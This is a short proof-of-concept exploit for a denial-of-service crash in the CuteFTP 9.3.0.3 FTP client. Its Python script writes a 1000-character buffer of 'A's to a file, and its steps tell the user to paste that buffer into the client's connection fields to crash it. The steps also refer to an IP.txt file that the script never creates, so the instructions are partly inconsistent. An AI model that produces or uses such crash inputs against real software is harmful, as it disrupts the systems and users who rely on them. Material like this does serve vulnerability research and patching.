CuteFTP 9.3.0.3 - Denial of Service (PoC)

# Exploit Title: CuteFTP 9.3.0.3 - Denial of Service (PoC)
# Date: 2018-11-05
# Exploit Author: Ismael Nava
# Vendor Homepage: https://www.globalscape.com/cuteftp
# Software Link: https://www.globalscape.com/cuteftp
# Version: 9.3.0.3
# Tested on: Windows 10 Home x64
# CVE : n/a

# STEPS
# Run the python exploit script, it will create a new .txt files
# Open the program CuteFTP
# Copy the content of the file "Cute.txt"
# Paste the content in the fields Host, Username and Password
# In the field "Hostname or IP" paste the content of the file "IP.txt"
# Click in Connect
# End :)

buffer = 'A' * 1000

try: 
    file = open("Cute.txt","w")
    file.write(buffer)
    file.close()

    print("Archive ready")
except:
    print("Archive no ready")